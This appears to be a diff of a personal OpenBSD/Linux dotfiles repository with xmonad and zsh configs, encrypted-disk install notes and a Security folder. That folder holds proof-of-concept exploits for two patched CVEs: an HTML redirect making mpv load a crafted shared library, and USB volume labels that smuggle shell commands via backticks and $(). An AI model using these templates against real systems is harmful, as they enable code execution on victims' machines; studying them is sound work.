+    noBorders (fullscreenFull Full)
+
+
+------------------------------------------------------------------------
+-- Colors and borders
+-- Currently based on the ir_black theme.
+--
+myNormalBorderColor  = "#7c7c7c"
+myFocusedBorderColor = "#ffb6b0"
+
+-- Colors for text and backgrounds of each tab when in "Tabbed" layout.
+tabConfig = defaultTheme {
+    activeBorderColor = "#7C7C7C",
+    activeTextColor = "#CEFFAC",
+    activeColor = "#000000",
+    inactiveBorderColor = "#7C7C7C",
+    inactiveTextColor = "#EEEEEE",
+    inactiveColor = "#000000"
+}
+
+-- Color of current window title in xmobar.
+xmobarTitleColor = "#FFB6B0"
+
+-- Color of current workspace in xmobar.
+xmobarCurrentWorkspaceColor = "#CEFFAC"
+
+-- Width of the window border in pixels.
+myBorderWidth = 1
+
+
+------------------------------------------------------------------------
+-- Key bindings
+--
+-- modMask lets you specify which modkey you want to use. The default
+-- is mod1Mask ("left alt").  You may also consider using mod3Mask
+-- ("right alt"), which does not conflict with emacs keybindings. The
+-- "windows key" is usually mod4Mask.
+--
+myModMask = mod4Mask
+
+myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $
+  ----------------------------------------------------------------------
+  -- Custom key bindings
+  --
+
+  -- Start a terminal.  Terminal to start is specified by myTerminal variable.
+  [ ((modMask, xK_Return),
+     spawn $ XMonad.terminal conf)
+
+  -- Lock the screen using command specified by myScreensaver.
+  , ((modMask .|. controlMask, xK_l),
+     spawn myScreensaver)
+
+  -- Spawn the launcher using command specified by myLauncher.
+  -- Use this to launch programs without a key binding.
+  , ((modMask, xK_p),
+     spawn myLauncher)
+
+  -- Take a selective screenshot using the command specified by mySelectScreenshot.
+  , ((modMask .|. shiftMask, xK_p),
+     spawn mySelectScreenshot)
+
+  -- Take a full screenshot using the command specified by myScreenshot.
+  , ((modMask .|. controlMask .|. shiftMask, xK_p),
+     spawn myScreenshot)
+
+  -- Mute volume.
+  , ((0, xF86XK_AudioMute),
+     spawn "amixer -q set Master toggle")
+
+  -- Decrease volume.
+  , ((0, xF86XK_AudioLowerVolume),
+     spawn "amixer -q set Master 10%-")
+
+  -- Increase volume.
+  , ((0, xF86XK_AudioRaiseVolume),
+     spawn "amixer -q set Master 10%+")
+ 
+  -- Mute volume.
+  , ((modMask .|. controlMask, xK_m),
+     spawn "amixer -q set Master toggle")
+
+  -- Decrease volume.
+  , ((modMask .|. controlMask, xK_j),
+     spawn "amixer -q set Master 10%-")
+
+  -- Increase volume.
+  , ((modMask .|. controlMask, xK_k),
+     spawn "amixer -q set Master 10%+")
+
+  -- Audio previous.
+  , ((0, 0x1008FF16),
+     spawn "")
+
+  -- Play/pause.
+  , ((0, 0x1008FF14),
+     spawn "")
+
+  -- Audio next.
+  , ((0, 0x1008FF17),
+     spawn "")
+
+  -- Eject CD tray.
+  , ((0, 0x1008FF2C),
+     spawn "eject -T")
+
+  --------------------------------------------------------------------
+  -- "Standard" xmonad key bindings
+  --
+
+  -- Close focused window.
+  , ((modMask .|. shiftMask, xK_c),
+     kill)
+
+  -- Cycle through the available layout algorithms.
+  , ((modMask, xK_space),
+     sendMessage NextLayout)
+
+  --  Reset the layouts on the current workspace to default.
+  , ((modMask .|. shiftMask, xK_space),
+     setLayout $ XMonad.layoutHook conf)
+
+  -- Resize viewed windows to the correct size.
+  , ((modMask, xK_n),
+     refresh)
+
+  -- Move focus to the next window.
+  , ((modMask, xK_Tab),
+     windows W.focusDown)
+
+  -- Move focus to the next window.
+  , ((modMask, xK_j),
+     windows W.focusDown)
+
+  -- Move focus to the previous window.
+  , ((modMask, xK_k),
+     windows W.focusUp  )
+
+  -- Move focus to the master window.
+  , ((modMask, xK_m),
+     windows W.focusMaster  )
+
+  -- Swap the focused window and the master window.
+  , ((modMask .|. shiftMask, xK_Return),
+     windows W.swapMaster)
+
+  -- Swap the focused window with the next window.
+  , ((modMask .|. shiftMask, xK_j),
+     windows W.swapDown  )
+
+  -- Swap the focused window with the previous window.
+  , ((modMask .|. shiftMask, xK_k),
+     windows W.swapUp    )
+
+  -- Shrink the master area.
+  , ((modMask, xK_h),
+     sendMessage Shrink)
+
+  -- Expand the master area.
+  , ((modMask, xK_l),
+     sendMessage Expand)
+
+  -- Push window back intq tiling.
+  , ((modMask, xK_t),
+     withFocused $ windows . W.sink)
+
+  -- Increment the number of windows in the master area.
+  , ((modMask, xK_comma),
+     sendMessage (IncMasterN 1))
+
+  -- Decrement the number of windows in the master area.
+  , ((modMask, xK_period),
+     sendMessage (IncMasterN (-1)))
+
+  -- Toggle the status bar gap.
+  -- TODO: update this binding with avoidStruts, ((modMask, xK_b),
+
+  -- Quit xmonad.
+  , ((modMask .|. shiftMask, xK_q),
+     io (exitWith ExitSuccess))
+
+  -- Restart xmonad.
+  , ((modMask .|. shiftMask, xK_r),
+     restart "xmonad" True)
+  ]
+  ++
+
+  -- mod-[1..9], Switch to workspace N
+  -- mod-shift-[1..9], Move client to workspace N
+  [((m .|. modMask, k), windows $ f i)
+      | (i, k) <- zip (XMonad.workspaces conf) [xK_1 .. xK_9]
+      , (f, m) <- [(W.greedyView, 0), (W.shift, shiftMask)]]
+  ++
+
+  -- mod-{w,e,r}, Switch to physical/Xinerama screens 1, 2, or 3
+  -- mod-shift-{w,e,r}, Move client to screen 1, 2, or 3
+  [((m .|. modMask, key), screenWorkspace sc >>= flip whenJust (windows . f))
+      | (key, sc) <- zip [xK_w, xK_e, xK_r] [0..]
+      , (f, m) <- [(W.view, 0), (W.shift, shiftMask)]]
+
+
+------------------------------------------------------------------------
+-- Mouse bindings
+--
+-- Focus rules
+-- True if your focus should follow your mouse cursor.
+myFocusFollowsMouse :: Bool
+myFocusFollowsMouse = True
+
+myMouseBindings (XConfig {XMonad.modMask = modMask}) = M.fromList $
+  [
+    -- mod-button1, Set the window to floating mode and move by dragging
+    ((modMask, button1),
+     (\w -> focus w >> mouseMoveWindow w))
+
+    -- mod-button2, Raise the window to the top of the stack
+    , ((modMask, button2),
+       (\w -> focus w >> windows W.swapMaster))
+
+    -- mod-button3, Set the window to floating mode and resize by dragging
+    , ((modMask, button3),
+       (\w -> focus w >> mouseResizeWindow w))
+
+    -- you may also bind events to the mouse scroll wheel (button4 and button5)
+  ]
+
+
+------------------------------------------------------------------------
+-- Status bars and logging
+-- Perform an arbitrary action on each internal state change or X event.
+-- See the 'DynamicLog' extension for examples.
+--
+-- To emulate dwm's status bar
+--
+-- > logHook = dynamicLogDzen
+--
+
+
+------------------------------------------------------------------------
+-- Startup hook
+-- Perform an arbitrary action each time xmonad starts or is restarted
+-- with mod-q.  Used by, e.g., XMonad.Layout.PerWorkspace to initialize
+-- per-workspace layout choices.
+--
+-- By default, do nothing.
+myStartupHook = return ()
+
+
+------------------------------------------------------------------------
+-- Run xmonad with all the defaults we set up.
+--
+main = do
+  xmproc <- spawnPipe "xmobar ~/.xmonad/xmobar.hs"
+  xmonad $ defaults {
+      logHook = dynamicLogWithPP $ xmobarPP {
+            ppOutput = hPutStrLn xmproc
+          , ppTitle = xmobarColor xmobarTitleColor "" . shorten 100
+          , ppCurrent = xmobarColor xmobarCurrentWorkspaceColor ""
+          , ppSep = "   "
+      }
+      , manageHook = manageDocks <+> myManageHook
+      , startupHook = setWMName "LG3D"
+  }
+
+
+------------------------------------------------------------------------
+-- Combine it all together
+-- A structure containing your configuration settings, overriding
+-- fields in the default config. Any you don't override, will
+-- use the defaults defined in xmonad/XMonad/Config.hs
+--
+-- No need to modify this.
+--
+defaults = defaultConfig {
+    -- simple stuff
+    terminal           = myTerminal,
+    focusFollowsMouse  = myFocusFollowsMouse,
+    borderWidth        = myBorderWidth,
+    modMask            = myModMask,
+    workspaces         = myWorkspaces,
+    normalBorderColor  = myNormalBorderColor,
+    focusedBorderColor = myFocusedBorderColor,
+
+    -- key bindings
+    keys               = myKeys,
+    mouseBindings      = myMouseBindings,
+
+    -- hooks, layouts
+    layoutHook         = smartBorders $ myLayout,
+    manageHook         = myManageHook,
+    startupHook        = myStartupHook
+}
blob - /dev/null
blob + a9e738f075f962fa9ff71cbfd53402eb9728abd0 (mode 755)
--- /dev/null
+++ .zshrc
@@ -0,0 +1,45 @@
+#             _              
+#            | |             
+#     _______| |__  _ __ ___ 
+#    |_  / __| '_ \| '__/ __|
+#   _ / /\__ \ | | | | | (__ 
+#  (_)___|___/_| |_|_|  \___|
+
+# Lines configured by zsh-newuser-install
+HISTFILE=~/.histfile
+HISTSIZE=1000
+SAVEHIST=1000
+bindkey -e
+# End of lines configured by zsh-newuser-install
+# The following lines were added by compinstall
+zstyle :compinstall filename '/home/matthew/.zshrc'
+
+autoload -Uz compinit
+compinit
+# End of lines added by compinstall
+
+# key bindings
+bindkey "e[1~" beginning-of-line
+bindkey "e[4~" end-of-line
+bindkey "e[5~" beginning-of-history
+bindkey "e[6~" end-of-history
+bindkey "e[3~" delete-char
+bindkey "e[2~" quoted-insert
+bindkey "e[5C" forward-word
+bindkey "eOc" emacs-forward-word
+bindkey "e[5D" backward-word
+bindkey "eOd" emacs-backward-word
+bindkey "ee[C" forward-word
+bindkey "ee[D" backward-word
+bindkey "^H" backward-delete-word
+# for rxvt
+bindkey "e[8~" end-of-line
+bindkey "e[7~" beginning-of-line
+# for non RH/Debian xterm, can't hurt for RH/DEbian xterm
+bindkey "eOH" beginning-of-line
+bindkey "eOF" end-of-line
+# for freebsd console
+bindkey "e[H" beginning-of-line
+bindkey "e[F" end-of-line
+# completion in the middle of a line
+bindkey '^i' expand-or-complete-prefix
blob - /dev/null
blob + 90c5cd763f55d57e2be642e7e94ef7ca84669418 (mode 755)
--- /dev/null
+++ Documentation/install/install_tmp.md
@@ -0,0 +1,126 @@
+TODO: Convert to either HTML or Markdown and update.
+
+## Partitioning.
+
+Wipe hard drive.
+
+`wipefs -a /dev/sda`
+
+Add GPT partition table to hard drive.
+
+`fdisk /dev/sda`
+  1. g
+  2. w
+
+Partition disk.
+
+`cgdisk /dev/sda`
+  1. 512 MiB - sda1
+  2. 512 MiB - sda2
+  3. Rest    - sda3
+
+Format partitions.
+
+`mkfs.fat -F32 /dev/sda1 -n 'efi'`
+`mkfs.ext4 -jv /dev/sda2 -L 'boot'`
+
+Create and open LUKS encryption partition.
+
+`cryptsetup -v -c aes-xts-plain64 -s 512 -h sha512 -i 4000 --use-urandom -y luksFormat /dev/sda3`
+`cryptsetup luksOpen /dev/sda3 crypt`
+
+Create LVM2 logical volumes and do a volume change sync.
+
+`pvcreate /dev/mapper/crypt`
+`vgcreate vgroot /dev/mapper/crypt`
+`lvcreate -L 8GiB -n swap vgroot`
+`lvcreate -l100%FREE -n root vgroot`
+`vgscan --mknodes`
+`vgchange -ay`
+
+Format partitions of LVM2 logical partitions.
+
+`mkswap /dev/vgroot/swap -L 'swap'`
+`mkfs.ext4 -jv /dev/vgroot/root -L 'root'`
+
+Mount partitions.
+
+`swapon /dev/vgroot/swap`
+`mount /dev/vgroot/root /mnt`
+`mkdir /mnt/boot`
+`mount /dev/sda2 /mnt/boot`
+`mkdir /mnt/boot/efi`
+`mount /dev/sda1 /mnt/boot/efi`
+
+Install base packages to drive.
+
+`pacstrap /mnt base base-devel linux linux-firmware grub lvm2 emacs dhcpcd wpa_supplicant`
+
+Generate fstab to help bootloader and kernel auto-mount stuff.
+
+`genfstab -U /mnt >> /mnt/etc/fstab`
+
+Chroot into nearly created install.
+
+`arch-chroot /mnt`
+
+Configure timezone.
+
+`ln -sf /usr/share/zoneinfo/Europe/London /etc/localtime`
+
+Generate `/etc/adjtime`.
+
+`hwclock --systohc`
+
+Comment out `en_GB.UTF-8 UTF-8` in `/etc/locale.gen`.
+
+Run `locale-gen`.
+
+Change `/etc/locale.conf`.
+
+Add `LANG=en_GB.UTF-8` to `/etc/locale.conf`.
+
+Change `/etc/vconsole.conf`.
+
+Add `KEYMAP=uk` to `/etc/vconsole.conf`.
+
+Set hostname.
+
+Add a hostname to `/etc/hostname`.
+
+Add these lines into `/etc/hosts` (replacing `myhostname` with your hostname and `localdomain` with your local domain name).
+
+```
+127.0.0.1	localhost
+::1		localhost
+127.0.1.1	myhostname.localdomain	myhostname
+```
+
+Edit `/etc/mkinitcpio.conf`.
+
+```
+Add 'ext4' to MODULES.
+Add 'encrypt' and 'lvm2' to HOOKS before 'filesystems'
+```
+
+Generate initramfs.
+
+`mkinitcpio -P`
+
+Install GRUB.
+
+`grub-install --target=i386-pc --recheck /dev/sda`
+
+Edit `GRUB_CMDLINE_LINUX=""` to `GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda3:luks:allow-discards"` in `/etc/defualt/grub`.
+
+Generate GRUB config.
+
+`grub-mkconfig -o /boot/grub/grub.cfg`
+
+Set a root password.
+
+`passwd`
+
+Enable dhcpcd.
+
+`systemctl enable dhcpcd`
blob - /dev/null
blob + baee2efac835aea1309f48dc2021f092d56c265d (mode 755)
--- /dev/null
+++ Documentation/kdenlive/1-profile.md
@@ -0,0 +1,38 @@
+## WebM.
+
+#### Summary: Added 'frame_rate_num=60 frame_rate_den=1' to Parameters to change video from 25fps to 60fps.
+
+Group `Custom`
+
+Profile name `WebM - the widespread free format (VP8/Vorbis)`
+
+Extention `webm`
+
+Parameters (see [MLT documentation](https://www.mltframework.org/plugins/ConsumerAvformat/))
+
+  ```
+  f=webm vcodec=libvpx acodec=libvorbis crf=%quality vb=0 quality=good aq=%audioquality max-intra-rate=1000 frame_rate_num=60 frame_rate_den=1
+  ```
+
+Video
+
+  * Qualities `15,45`
+
+  * Default quality `0`
+
+Audio
+
+  * Qualities `7,3`
+
+  * Default quality `0`
+
+Speed options
+
+  ```
+  cpu-used=2
+  cpu-used=3
+  cpu-used=4
+  cpu-used=5
+  ```
+
+#### More [MLT documentation](https://www.mltframework.org/docs/profiles/)
blob - /dev/null
blob + 8e6a26ff7eefa3e3f569ab4f7d4d3af0888904a9 (mode 755)
--- /dev/null
+++ Documentation/kdenlive/2-stop.md
@@ -0,0 +1,19 @@
+# Stop Kdenlive on Windows
+
+## How to stop all Kdenlive processes on Windows, thanks to Matthew Moore.
+
+### [Kill Script for Kdenlive - YouTube](https://www.youtube.com/watch?v=7nRe_48vgRs)
+
+Save as 'kdenlive_stop.bat':
+
+```
+@echo off
+color f0
+
+taskkill /IM "kioslave.exe" /T /F
+taskkill /IM "kdenlive.exe" /T /F
+taskkill /IM "dbus-daemon.exe" /T /F
+wmic process where name='kdenlive.exe' delete
+wmic process where name='kioslave.exe' delete
+wmic process where name='dbus-daemon.exe' delete
+```
blob - /dev/null
blob + 9372df3ea6c7a1f8ca4ddd48b37f517279f80134 (mode 755)
--- /dev/null
+++ Documentation/partitioning/1-partitioning.md
@@ -0,0 +1,55 @@
+# Partitioning.
+
+## EFI and boot filesystems.
+EFI partition.
+
+`mkfs.vfat -F 32 /dev/sda1 -n 'efi'`
+
+Boot partition.
+
+`mkfs.ext4 -jv /dev/sda2 -L 'boot'`
+
+## cryptsetup.
+
+`cryptsetup -v -c aes-xts-plain64 -s 512 -h sha512 -i 4000 --use-urandom -y luksFormat /dev/sda3`
+
+(cryptsetup -v --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 4000 --use-urandom --verify-passphrase luksFormat /dev/sda3)
+
+then
+
+`cryptsetup luksOpen /dev/sda3 crypt`
+
+to view cryptsetup header: `cryptsetup luksDump /dev/sda3`
+
+## LVM2.
+<!-- You could also use vg01/02/03/etc.. -->
+Create physical volume.
+
+`pvcreate /dev/mapper/crypt`
+
+Create volume group.
+
+`vgcreate vgroot /dev/mapper/crypt`
+
+Create logical volume partitions.
+
+```
+lvcreate -L 8GiB -n swap vgroot
+lvcreate -L 40GiB -n root vgroot
+lvcreate -l100%FREE -n home vgroot
+```
+
+Rescan LVM.
+
+```
+vgscan --mknodes
+vgchange -ay
+```
+
+## Create filesystems.
+
+Swap: `mkswap /dev/vgroot/swap -L 'swap' && swapon /dev/vgroot/swap`
+
+Root: `mkfs.xfs -f /dev/vgroot/root -L 'root'`
+
+Home: `mkfs.xfs -f /dev/vgroot/home -L 'home'`
blob - /dev/null
blob + 226814c6b943535f09d131e4bd7eabfc45117c9a (mode 755)
--- /dev/null
+++ Documentation/partitioning/2-fstab.md
@@ -0,0 +1,59 @@
+# Filesystems table.
+## Location: /etc/fstab
+
+# EXT4 or XFS.
+```
+<fs>            <mountpoint>                    <type>    <opts>            <dump/pass>
+
+UUID=<uuid>     /boot/efi                        vfat     defaults,noatime      0     2
+UUID=<uuid>     /boot                           ext4     defaults,noatime      0     2
+UUID=<uuid>     /                               ext4     defaults,noatime      0     1
+UUID=<uuid>     none                            swap     sw                    0     0
+
+/dev/cdrom      /mnt/cdrom                      auto      noauto,ro            0     0
+```
+
+# BTRFS.
+```
+<fs>            <mountpoint>                    <type>    <opts>                                                 <dump/pass>
+
+UUID=<uuid>     /boot/efi                        vfat      defaults,noatime                                       0     2
+UUID=<uuid>     /boot                           btrfs     defaults,noatime,subvol=boot                           0     2
+UUID=<uuid>     /                               btrfs     defaults,compress=lzo,noatime,autodefrag,subvol=root   0     1
+UUID=<uuid>     none                            swap      sw                                                     0     0
+
+/dev/cdrom      /mnt/cdrom                      auto      noauto,ro                                              0     0
+```
+
+## Notes:
+### Options.
+`autodefrag` Specific to btrfs. Enable automatic file defragmentation. When enabled, small random writes into files (in a range of tens of kilobytes, currently it’s 64K) are detected and queued up for the defragmentation process. Not well suited for large database workloads.
+
+[Why autodefrag should still be enabled on SSDs.](https://www.spinics.net/lists/linux-btrfs/msg31028.html)
+
+`defaults` Use default options: rw, suid, dev, exec, auto, nouser, and async.
+
+`discard` Enables TRIM (for SSDs).
+
+`noauto` Does not automatically mount at boot. Can still be mounted via the `mount -a` command.
+
+`compress=lzo` Specific to btrfs. (See 'compression' below.)
+
+`sw` Specific to swap.
+
+## Pass (fsck).
+The 6th column (in bold) is the fsck option.
+
+    0 = Do not check.
+    1 = First file system (partition) to check; / (root partition) should be set to 1.
+    2 = All other filesystems to be checked.
+
+## Compression.
+### What are the differences between compression methods?
+There's a speed/ratio trade-off:
+
+    ZLIB -- slower, higher compression ratio (uses zlib level 3 setting, you can see the zlib level difference between 1 and 6 in zlib sources).
+    LZO -- faster compression and decompression than zlib, worse compression ratio, designed to be fast
+    ZSTD -- (since v4.14) compression comparable to zlib with higher compression/decompression speeds and different ratio levels (details) 
+    
+The differences depend on the actual data set and cannot be expressed by a single number or recommendation. Do your own benchmarks. LZO seems to give satisfying results for general use. 
blob - /dev/null
blob + 4479b8394efb4b2e5201e8ef5ba40586ac77e2f3 (mode 755)
--- /dev/null
+++ Documentation/partitioning/3-mkinitcpio.md
@@ -0,0 +1,79 @@
+# mkinitcpio.conf
+
+## Location: `/etc/mkinitcpio.conf`.
+
+## Example mkinitcpio config (for LVM2 + LUKS encryption).
+```
+# vim:set ft=sh
+# MODULES
+# The following modules are loaded before any boot hooks are
+# run.  Advanced users may wish to specify all system modules
+# in this array.  For instance:
+#     MODULES=(piix ide_disk reiserfs)
+MODULES=(ext4 ext2)
+
+# BINARIES
+# This setting includes any additional binaries a given user may
+# wish into the CPIO image.  This is run last, so it may be used to
+# override the actual binaries included by a given hook
+# BINARIES are dependency parsed, so you may safely ignore libraries
+BINARIES=()
+
+# FILES
+# This setting is similar to BINARIES above, however, files are added
+# as-is and are not parsed in any way.  This is useful for config files.
+FILES=()
+
+# HOOKS
+# This is the most important setting in this file.  The HOOKS control the
+# modules and scripts added to the image, and what happens at boot time.
+# Order is important, and it is recommended that you do not change the
+# order in which HOOKS are added.  Run 'mkinitcpio -H <hook name>' for
+# help on a given hook.
+# 'base' is _required_ unless you know precisely what you are doing.
+# 'udev' is _required_ in order to automatically load modules
+# 'filesystems' is _required_ unless you specify your fs modules in MODULES
+# Examples:
+##   This setup specifies all modules in the MODULES setting above.
+##   No raid, lvm2, or encrypted root is needed.
+#    HOOKS=(base)
+#
+##   This setup will autodetect all modules for your system and should
+##   work as a sane default
+#    HOOKS=(base udev autodetect block filesystems)
+#
+##   This setup will generate a 'full' image which supports most systems.
+##   No autodetection is done.
+#    HOOKS=(base udev block filesystems)
+#
+##   This setup assembles a pata mdadm array with an encrypted root FS.
+##   Note: See 'mkinitcpio -H mdadm' for more information on raid devices.
+#    HOOKS=(base udev block mdadm encrypt filesystems)
+#
+##   This setup loads an lvm2 volume group on a usb device.
+#    HOOKS=(base udev block lvm2 filesystems)
+#
+##   NOTE: If you have /usr on a separate partition, you MUST include the
+#    usr, fsck and shutdown hooks.
+HOOKS=(base udev autodetect modconf block encrypt lvm2 filesystems keyboard fsck)
+
+# COMPRESSION
+# Use this to compress the initramfs image. By default, gzip compression
+# is used. Use 'cat' to create an uncompressed image.
+#COMPRESSION="gzip"
+#COMPRESSION="bzip2"
+#COMPRESSION="lzma"
+#COMPRESSION="xz"
+#COMPRESSION="lzop"
+#COMPRESSION="lz4"
+
+# COMPRESSION_OPTIONS
+# Additional options for the compressor
+#COMPRESSION_OPTIONS=()
+```
+
+### NOTE: 
+
+`ext4` and `ext2` are added onto `MODULES()`.
+
+`encrypt` and `lvm2` are addded onto `HOOKS=()`.
blob - /dev/null
blob + 320eb6707aba01ac3e40d9f761a03c7f36fc019f (mode 755)
--- /dev/null
+++ Documentation/partitioning/4-grub.md
@@ -0,0 +1,68 @@
+# GNU GRand Unified Bootloader.
+### (GRUB.)
+
+## Location: `/etc/default/grub`.
+
+## Example default grub config (for LVM2 + LUKS encryption).
+```
+# GRUB boot loader configuration
+
+GRUB_DEFAULT=0
+GRUB_TIMEOUT=5
+GRUB_DISTRIBUTOR="Gentoo"
+GRUB_CMDLINE_LINUX_DEFAULT="quiet"
+GRUB_CMDLINE_LINUX="root=/dev/mapper/vg01-root cryptdevice=/dev/sda3:crypt"
+
+# Preload both GPT and MBR modules so that they are not missed
+GRUB_PRELOAD_MODULES="part_gpt part_msdos"
+
+# Uncomment to enable booting from LUKS encrypted devices
+GRUB_ENABLE_CRYPTODISK=y
+
+# Uncomment to enable Hidden Menu, and optionally hide the timeout count
+#GRUB_HIDDEN_TIMEOUT=5
+#GRUB_HIDDEN_TIMEOUT_QUIET=true
+
+# Uncomment to use basic console
+GRUB_TERMINAL_INPUT=console
+
+# Uncomment to disable graphical terminal
+#GRUB_TERMINAL_OUTPUT=console
+
+# The resolution used on graphical terminal
+# note that you can use only modes which your graphic card supports via VBE
+# you can see them in real GRUB with the command `vbeinfo'
+GRUB_GFXMODE=auto
+
+# Uncomment to allow the kernel use the same resolution used by grub
+GRUB_GFXPAYLOAD_LINUX=keep
+
+# Uncomment if you want GRUB to pass to the Linux kernel the old parameter
+# format "root=/dev/xxx" instead of "root=/dev/disk/by-uuid/xxx"
+#GRUB_DISABLE_LINUX_UUID=true
+
+# Uncomment to disable generation of recovery mode menu entries
+GRUB_DISABLE_RECOVERY=true
+
+# Uncomment and set to the desired menu colors.  Used by normal and wallpaper
+# modes only.  Entries specified as foreground/background.
+#GRUB_COLOR_NORMAL="light-blue/black"
+#GRUB_COLOR_HIGHLIGHT="light-cyan/blue"
+
+# Uncomment one of them for the gfx desired, a image background or a gfxtheme
+#GRUB_BACKGROUND="/path/to/wallpaper"
+#GRUB_THEME="/path/to/gfxtheme"
+
+# Uncomment to get a beep at GRUB start
+#GRUB_INIT_TUNE="480 440 1"
+
+# Uncomment to make GRUB remember the last selection. This requires to
+# set 'GRUB_DEFAULT=saved' above.
+#GRUB_SAVEDEFAULT="true"
+```
+
+### NOTE: 
+
+`root=/dev/mapper/vg01-root cryptdevice=/dev/sda3:crypt` is added to `GRUB_CMDLINE_LINUX=""`.
+
+`#GRUB_ENABLE_CRYPTODISK=y` has been uncommented to `GRUB_ENABLE_CRYPTODISK=y`.
blob - /dev/null
blob + 6da7e0d1d0e754d8da3d487182d8aca42816fa1e (mode 755)
--- /dev/null
+++ Documentation/partitioning/readme.md
@@ -0,0 +1,7 @@
+## This subdirectory will teach you some advanced techniques when it comes to partitioning during manual Linux installation.
+
+### Links to online guides: 
+
+[Gentoo guide](https://wiki.gentoo.org/wiki/Dm-crypt_full_disk_encryption)
+
+[Gentoo guide (simplified)](https://wiki.gentoo.org/wiki/Full_Disk_Encryption_From_Scratch_Simplified)
blob - /dev/null
blob + bb380532f9b24a71b8a111a47128250ede993f01 (mode 755)
--- /dev/null
+++ Documentation/readme.md
@@ -0,0 +1,19 @@
+# This directory contains documentation written in Markdown.
+
+## Contents:
+
+### partitioning/1-partitioning.md
+
+How to setup partitions for LVM2 + LUKS properly (imo).
+
+### partitioning/2-fstab.md
+
+Example fstab.
+
+### partitioning/3-mkinitcpio.md
+
+Example mkinitcpio config.
+
+### partitioning/4-grub.md
+
+Example default grub config.
blob - /dev/null
blob + 5411fba34dc29f54f82ca94cb6aed0283a5ba0c4 (mode 755)
--- /dev/null
+++ LICENSE
@@ -0,0 +1,13 @@
+Copyright (c) 2016 Isabella <Bean6754>
+
+Permission to use, copy, modify, and distribute this software for any
+purpose with or without fee is hereby granted, provided that the above
+copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
blob - /dev/null
blob + ca9135b75009b054488d069c7620a1b990f1bcb5 (mode 755)
--- /dev/null
+++ README.md
@@ -0,0 +1,2 @@
+# home
+Certain contents of my /home folder in OpenBSD.
blob - /dev/null
blob + 9dc61b59d5153554d56c102b41df374508fe9926 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/compile.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+gcc -shared -o libexploit.so -fPIC exploit.c
blob - /dev/null
blob + b4736620720d4684aeac6306b27907d4297409e7 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/exploit.c
@@ -0,0 +1,10 @@
+#include <stdio.h>
+
+int main(void) {
+  /* Add code you want, here.
+  Does not have root permissions, 
+  unless launched as root. */
+  printf("Exploit worked!");
+  
+  return 0;
+}
blob - /dev/null
blob + 82d378fb1bb0d9cff969f42b5d3707230e0b1021 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/readme.md
@@ -0,0 +1,18 @@
+# CVE-2018-6360
+
+## CVEs.
+
+[MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6360)
+
+[CVE Details](https://www.cvedetails.com/cve-details.php?t=1&cve_id=CVE-2018-6360)
+
+## Details.
+
+mpv through 0.28.0 allows remote attackers to execute arbitrary code via a crafted web site, because it reads HTML documents containing VIDEO elements, and accepts arbitrary URLs in a src attribute without a protocol whitelist in player/lua/ytdl_hook.lua. For example, an av://lavfi:ladspa=file= URL signifies that the product should call dlopen on a shared object file located at an arbitrary local pathname. The issue exists because the product does not consider that youtube-dl can provide a potentially unsafe URL.
+
+`av://lavfi:ladspa=file= URL`
+
+## Discussion.
+[Discussion](https://github.com/mpv-player/mpv/issues/5456)
+## Fix.
+[Fix](https://github.com/mpv-player/mpv/commit/e6e6b0dcc7e9b0dbf35154a179b3dc1fcfcaff43)
blob - /dev/null
blob + b098a20e05c688fe1cc0488b908bf921fa94e035 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6360/url.htm
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html lang="en-GB">
+<head>
+  <meta charset="UTF-8">
+  <title>CVE-2018-6360</title>
+  <meta http-equiv="refresh" content="0; url=av://lavfi:ladspa=file=libexploit.so">
+</head>
+<body>
+  <p><a href="av://lavfi:ladspa=file=libexploit.so">Redirect</a></p>
+</body>
+</html>
blob - /dev/null
blob + d38145cf1a9df42735cb1a6cd9711d2b51d5133a (mode 755)
--- /dev/null
+++ Security/CVE-2018-6791/exploit1.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+mkfs.vfat -F 32 /dev/sdb1 -L '`touch hello`'
blob - /dev/null
blob + 691c213f099ecc2846a428f38b5352fa9ff4120b (mode 755)
--- /dev/null
+++ Security/CVE-2018-6791/exploit2.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+mkfs.vfat -F 32 /dev/sdb1 -L '$(touch hello)'
blob - /dev/null
blob + b5a09f03fa30ee521ecbe6bfc08122225f8f3025 (mode 755)
--- /dev/null
+++ Security/CVE-2018-6791/readme.md
@@ -0,0 +1,47 @@
+# CVE-2018-6791
+
+## CVEs.
+
+[KDE](https://www.kde.org/info/security/advisory-20180208-2.txt)
+
+[MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-6791)
+
+[CVE Details](https://www.cvedetails.com/cve/CVE-2018-6791/)
+
+## Details.
+
+KDE Project Security Advisory
+=============================
+
+Title:          Plasma Desktop: Arbitrary command execution in the removable device notifier
+Risk Rating:    High
+CVE:            CVE-2018-6791
+Versions:       Plasma < 5.12.0
+Date:           8 February 2018
+
+
+Overview
+========
+When a vfat thumbdrive which contains `` or $() in its volume label is plugged
+and mounted trough the device notifier, it's interpreted as a shell command,
+leaving a possibility of arbitrary commands execution. an example of offending
+volume label is "$(touch b)" which will create a file called b in the
+home folder.
+
+Workaround
+==========
+Mount removable devices with Dolphin instead of the device notifier.
+
+Solution
+========
+Update to Plasma >= 5.12.0 or Plasma >= 5.8.9
+
+Or apply the following patches:
+Plasma 5.8:
